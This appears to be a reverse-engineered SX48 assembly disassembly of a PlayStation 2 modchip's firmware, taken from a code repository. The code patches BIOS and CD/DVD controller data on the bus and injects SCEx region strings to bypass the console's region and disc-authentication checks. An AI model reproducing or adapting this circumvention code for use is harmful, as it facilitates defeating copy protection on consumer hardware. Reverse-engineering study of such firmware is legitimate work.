;CDDVD_PATCH_V1 ;wait for mecha FA-FF-FF-01-00-00-01 then patch to 81 ;dvd_l1 ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS jmp CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;wait sync byte FA FF FF ... clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l2 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l3 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l4 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l5 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l6 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST IFDEF H2O75KJMPERS sb IO_CDDVD_BUS_h setb JAP_FLAG ENDIF snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;V1-V8: sleep for DVD media loaded in PSX mode ;dvd_c1 mov w,#$90 ;NEW 1 time 1 BYTE patch !!!!!!!!! mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R CDDVD_REGION snb IO_CDDVD_OE_A_1Q jmp CDDVD_REGION clrb IO_CDDVD_OE_A_1R mov w,#$ff mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ;prepare patch region , here for speed !!! No move!!! snb JAP_FLAG jmp CDDVD_JAP snb UK_FLAG jmp CDDVD_PAL ;:reg_usa ;; idea for trim, usa flag not needed set here, will for ps1drv scex?? clr w jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_uk CDDVD_PAL mov w,#8;$8 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_jap CDDVD_JAP mov w,#16;$10 ALL_CDDVD_PATCH_SET_VAR_DC3 mov VAR_DC2,w ; save offset... mov w,#8;$8 ;region patch : # of bytes to patch mov VAR_DC3,w mov w,#$ff mov IO_CDDVD_BUS,w ;!!!!!!!!!!!!! critical ;WAIT_DISK ;wait_dvd_lx ALL_CDDVD_PATCH_SYNC2_BIT mov w,#3;$3 mov VAR_DC1,w ;skip 6 byte (FA,FF,FF,FA,FF,FF) ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 ;patch region ... IFDEF SX48 mov w,#$1f mov m,w ENDIF mov w,#$f ; 0000 1111 = 0 output mov !IO_CDDVD_BUS,w ;reg_l1 RUN_CDDVD_PATCH mov w,VAR_DC2 call CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w mov w,<>VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_CDDVD_PATCH CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov w,#$ff mov !IO_CDDVD_BUS,w snb SOFT_RST jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;exit_patch CDDVD_IS_PS1 clrb SOFT_RST snb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 page $0400 jmp PS1_DETECTED_REBOOT ;Modload repatch... FINISHED_RUN_START page $0000 call SET_INTRPT mov w,#4;$4 mov VAR_DC1,w FINISHED_RUN_START_P2 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2 mov w,#$c4 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 FINISHED_RUN_START_P2_L1 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L1 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L2 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L2 FINISHED_RUN_START_P2_L3 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L3 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L4 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L4 FINISHED_RUN_END snb IO_BIOS_OE jmp FINISHED_RUN_END mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w decsz VAR_DC1 jmp FINISHED_RUN_START_P2 page $0000 call DELAY100m page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP IFDEF SX48 org $0800 org $0A00 org $0C00 org $0E00 ENDIF end

1nick9/PS2-Magic-ICE-FINAL-REVERSE

99,545

sx48WIP/final-48.hex-workingon-initialdisassemble.s

;******************************************************************************** ; final-48.sxh hash 51AAB2EC46914FF321B660222574430C ;******************************************************************************** device SX48,TURBO,BOROFF,OSCHS2,OPTIONX,WDRT006 ID 'ICEREV' ;; double ; for needs attension for mistakes or areas to change to function alike h2o or just general check here marker ;DEFINE ;RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. else is compiled as f=tr 4E9527CD0A691C619093BA1D41CBCE60 ;;ignore these defines below for now, not implemented yet ;USE ONLY IF F=TR commented out RSTBUMP ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctly also h=rw usa/pal f=tr 75k pal d8d6a5acf3e30901b45b75b001ff457c ;USAv14 = 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa 809aa1533abed9cbdf2ed612a6fc5627 ;JAPv14orv8 = 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap 7a35a0a6001a04ed71509a1c18b6544f ;also for v7 to use v9+ mechacon patch for v8 jap support f=tr ;NTSCPS1YFIX75K = 1 ;uncomment for 75k NTSC IMPORT YFIX PAL CONSOLE TESTED makes pal off screen but ntsc correct. off pal correct, ntsc crushed. ;NTSCPS1YFIX75K ON rstbump 891246cec7e63bc112c4005b700a7a22 f=tr 75k pal ec962491125e6e2196e215b6cb5222a1 ;only rstbump v8jap tested but rest should be right ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select ; 1 = no access to rom , 0 = access to rom IO_REST = rb.2 ; ; 1 = normal , 0 = reset IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; 1 = tray open , 0 = tray closed IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) ;A from flip flop IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) ;flip flop clr IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if connected, assumption is no RW support at all on v14 RSTBUMP unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) ;regs VAR_DC1 = $0A VAR_DC2 = $0B VAR_DC3 = $0C VAR_DC4 = $0D VAR_PSX_TEMP = $10 VAR_PSX_BYTE = $11 VAR_PATCH_FLAGS = $0E VAR_SWITCH = $0F VAR_BIOS_REV = $12 VAR_BIOS_YR = $13 VAR_BIOS_REGION_TEMP = $14 VAR_PSX_BITC = $15 VAR_PSX_BC_CDDVD_TEMP = $16 ;------------------------------------------------------------ ;VAR_PATCH_FLAGS ;------------------------------------------------------------ EJ_FLAG = VAR_PATCH_FLAGS.0 ;bit 0 used by eject routine SOFT_RST = VAR_PATCH_FLAGS.1 ;soft reset flag for disk patch PSX_FLAG = VAR_PATCH_FLAGS.2 ;psx mode flag V10_FLAG = VAR_PATCH_FLAGS.3 ;bios 1.9 or 2.0 ;also v10 1.9 bios has own ps1 routine UK_FLAG = VAR_PATCH_FLAGS.4 USA_FLAG = VAR_PATCH_FLAGS.5 JAP_FLAG = VAR_PATCH_FLAGS.6 SCEX_FLAG = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH ;------------------------------------------------------------ V12_FLAG = VAR_SWITCH.0 ;v12 console 2.0 bios set V12LOGO_FLAG = VAR_SWITCH.1 ;PS1_MODE v12 2.0 bios console flag ? ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. X_FLAG = VAR_SWITCH.2 ;set when HOLD_BOOT_MODES only clrb when end ? ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media ;;JAP_V8 = VAR_SWITCH.3 ;; DEV1_FLAG = VAR_SWITCH.4 ;;V14_FLAG = VAR_SWITCH.5 ;; ;set due to W for region of BIOS which decka models ;;V0_FLAG = VAR_SWITCH.6 ;; ;------------------------------------------------------------ ;CODE ;------------------------------------------------------------ ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $07FF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;****** Reset of the chip ******************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mov w,#$1f mov m,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !ra,w mov w,#$1a mov m,w mov w,#$8 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w sleep ;INIT_CHIP STARTUP mov w,#$1d mov m,w mov w,#$f7 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$7 mov !ra,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;read power down register clr fsr mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov VAR_PSX_BITC,w mov w,#$1f mov m,w ;execute correct startup... snb pd jmp CLEAR_CONSOLE_INFO_PREFIND snb VAR_PSX_BITC.2 jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 page $0200 jmp POST_PATCH_4_MODE_START page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;power up from STBY CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS clr VAR_SWITCH jmp BIOS_GET_SYNC ;-------------------------------------------------------------------------------- DELAY100m ;-------------------------------------------------------------------------------- mov w,#$64 mov VAR_DC1,w RTCC_SET_BIT mov w,#$3d mov rtcc,w RTCC_CHECK mov w,rtcc sb z jmp RTCC_CHECK decsz VAR_DC1 jmp RTCC_SET_BIT retp ;-------------------------------------------------------------------------------- SET_INTRPT ;-------------------------------------------------------------------------------- mov w,#$1a mov m,w mov w,#$6 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w retp ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX mov w,#$3b mov VAR_DC3,w :loop1 mov w,#$d4 mov VAR_DC2,w not ra :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX mov w,#$3b mov VAR_DC3,w :loop1 mov w,#$d4 mov VAR_DC2,w snb IO_BIOS_CS jmp :loop2 setb SCEX_FLAG :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w retw $53 retw $43 retw $45 retw $41 retw $53 retw $43 retw $45 retw $49 retw $53 retw $43 retw $45 retw $45 ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- snb USA_FLAG jmp usa snb UK_FLAG jmp uk jmp jap usa clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#$4 mov VAR_DC4,w SCEx_IO_SET mov w,#$1f mov m,w mov w,#$b mov !ra,w mov w,#$4 mov VAR_PSX_BC_CDDVD_TEMP,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$1f mov m,w mov w,#$f mov !ra,w ret ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ;-------------------------------------------------------------------------------- NOTCALLED1 snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P1 ret BIOS_GET_SYNC snb IO_BIOS_OE jmp BIOS_GET_SYNC nop mov w,#$50 mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 mov w,#$53 mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 mov w,#$32 mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 mov w,#$30 mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 CAPTURE_BIOS_REV sb IO_BIOS_OE jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 mov w,IO_BIOS_DATA mov VAR_BIOS_REV,w CAPTURE_BIOS_REGION snb IO_BIOS_OE jmp CAPTURE_BIOS_REGION mov w,#$30 mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION call BIOS_WAIT_OE_LO_P1 mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w CHECK_BYTE_AB_REGION_CAPTURE_YR snb IO_BIOS_OE jmp CHECK_BYTE_AB_REGION_CAPTURE_YR mov w,#$30 mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 mov w,#$30 mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w mov w,#$41 mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_USA mov w,#$45 mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_UK mov w,#$52 mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_UK mov w,#$49 mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_JAP jmp BIOS_JAP BIOS_USA setb USA_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_UK setb UK_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb JAP_FLAG RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST jmp TAP_BOOT_MODE ;DVD movie : GREEN fix + MACROVISION off CHECK_IF_V9to14 setb PSX_FLAG mov w,#$37 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$39 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$32 mov VAR_DC1,w ;V1-8 kernels: sync 1E006334 then 2410 START_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$63 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 START_BIOS_PATCH_SYNC_V1toV8_L1 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L1 nop mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 call BIOS_WAIT_OE_LO_P1 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 START_BIOS_PATCH_SYNC_V1toV8_L2 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L2 BIOS_V1toV8_PATCH1 snb IO_BIOS_OE jmp BIOS_V1toV8_PATCH1 decsz VAR_DC1 jmp START_BIOS_PATCH_SYNC_V1toV8_L2 mov w,#$0 mov IO_BIOS_DATA,w mov w,#$1f mov m,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w BIOS_V1toV8_IORESET_INPUT sb IO_BIOS_OE jmp BIOS_V1toV8_IORESET_INPUT mov w,#$ff mov !IO_BIOS_DATA,w jmp MODE_SELECT_START ; V9/V10/V12 kernels ;kernel_V910 ;Kstart_l0 START_BIOS_PATCH_SYNC_V9toV14 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L1 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L1 START_BIOS_PATCH_SYNC_V9toV14_L2 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L3 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L3 START_BIOS_PATCH_SYNC_V9toV14_L4 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L5 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L5 BIOS_V9toV14_PATCH1 snb IO_BIOS_OE jmp BIOS_V9toV14_PATCH1 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$0 mov IO_BIOS_DATA,w mov w,#$1f mov m,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$ff mov !IO_BIOS_DATA,w ;************************************************************************************************** ;New mode select for PSX/DEV mode : ;Check RESET for about 4 sec ( 2 =initial delay + 2 from this routine ) ;if exit before then enter PSX mode , else wait for reset release and wait again for ;10 sec. If RESET is pressed again within 10 sec. then enter DEV mode else ;definitively SLEEP chip for all media that no need patch ( VIDEO , MUSIC , ORIGINALS ). ;************************************************************************************************** ;TEST_RESET MODE_SELECT_START mov w,#$a mov VAR_DC2,w ;test_l1 MODE_SELECT_TIMER_L1 call DELAY100m snb IO_REST jmp HOLD_BOOT_MODES decsz VAR_DC2 jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST jmp MODE_SELECT_TIMER_L2 mov w,#$5 mov VAR_DC2,w ;test_l2 MODE_SELECT_TIMER_L3 call DELAY100m decsz VAR_DC2 jmp MODE_SELECT_TIMER_L3 mov w,#$64 mov VAR_DC2,w ;test_l3 DISABLE_MODE call DELAY100m sb IO_REST page $0600 jmp DEV1_MODE_LOAD_START decsz VAR_DC2 jmp DISABLE_MODE sleep ;RESET0 TAP_BOOT_MODE clrb PSX_FLAG ;RESET_DOWN HOLD_BOOT_MODES clr fsr snb DEV1_FLAG page $0600 jmp DEV1_MODE_LOAD_START setb SOFT_RST clrb EJ_FLAG setb X_FLAG clrb V12LOGO_FLAG page $0200 jmp PS2_MODE_START ;--------------------------------------------------------------------- ;PS2 : continue patch after OSDSYS & wait for disk ready... ;--------------------------------------------------------------------- ;PS2_PATCH2 CHECK_IF_START_PS2LOGO clr fsr sb PSX_FLAG page $0a00 jmp START_PS2LOGO_PATCH_LOAD ;CDDVD_EJECTED TRAY_IS_EJECTED sb IO_REST jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED ;wait for bios cs inactive ( fix for 5 bit bus and cd boot ) ;DELAY1s RESUME_MODE_FROM_EJECT mov w,#$5 mov VAR_DC2,w ;ld_del0 RESUME_MODE_FROM_EJECT_L1 mov w,#$64 mov VAR_DC1,w ;ld_del RESUME_MODE_FROM_EJECT_L2 mov w,#$3a mov rtcc,w ;ld_del1 RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS jmp RESUME_MODE_FROM_EJECT sb IO_REST jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED mov w,rtcc sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_INTRPT clr fsr snb DEV1_FLAG page $0400 jmp START_CDDVD_PATCH mov w,#$2 mov VAR_DC4,w mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp CONSOLE_2002_JMP mov w,#$1 mov VAR_DC4,w ;MEPATCH CONSOLE_2002_JMP page $0400 jmp START_CDDVD_PATCH ;------------------------------------------------------------------------- ;NEW NEW NEW patch psx game... and some protected too ;------------------------------------------------------------------------- ;PSX_PATCH PS1_MODE_START_PATCH clr fsr clrb SCEX_FLAG mov w,#$ff mov VAR_PSX_TEMP,w ;psx_ptc_l0 RUN_PS1_SCEX_INJECT call SEND_SCEX snb SCEX_FLAG jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP jmp RUN_PS1_SCEX_INJECT page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;DRVPTC PS1_SCEX_INJECT_COMPLETE snb EJ_FLAG jmp RUN_PS1_SCEX_INJECT mov w,#$2 mov VAR_DC4,w mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp PS1_IS_V14orV1toV12PALorNTSC mov w,#$1 mov VAR_DC4,w ;DRV PS1_IS_V14orV1toV12PALorNTSC snb USA_FLAG page $0800 jmp PS1_CONSOLE_ALL_JMPNTSC snb JAP_FLAG page $0800 jmp PS1_CONSOLE_ALL_JMPNTSC page $0800 jmp PS1_CONSOLE_PAL_YFIX org $0200 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 ;-------------------------------------------------------------------------------- NOTCALLED2 snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P2 ret ;--------------------------------------------------------- ; NEW BIOS PATCH ROUT ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- NOTCALLED3 mov w,indf mov IO_BIOS_DATA,w inc fsr RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP decsz VAR_DC2 jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE jmp END_BIOS_PATCHES_SRAM_RESET_IO mov w,#$ff mov !IO_BIOS_DATA,w clr fsr retp ;---------------------------------------------------------- ;Patch PS2 game... ;---------------------------------------------------------- ;-------------------------------------------------------------------------------- BIOS_PATCH_DATA ;-------------------------------------------------------------------------------- jmp pc+w ;V134 retw $23 ;0 retw $80 retw $ac retw $c retw $0 retw $0 retw $0 ;VX retw $24 ;7 Label_0039 retw $10 retw $3c retw $e4 retw $24 retw $80 retw $ac retw $e4 retw $22 retw $90 retw $ac retw $84 retw $bc mov w,#$3f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V9 retw $24 retw $10 retw $3c retw $74 retw $2a retw $80 retw $ac retw $74 retw $28 retw $90 retw $ac retw $bc retw $d3 mov w,#$3f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V10-12 retw $24 retw $10 retw $3c retw $e4 retw $2c retw $80 retw $ac retw $f4 retw $2a retw $90 retw $ac snb V12_FLAG jmp V12_CONSOLE_20_BIOS_JMP mov w,#$36 mov 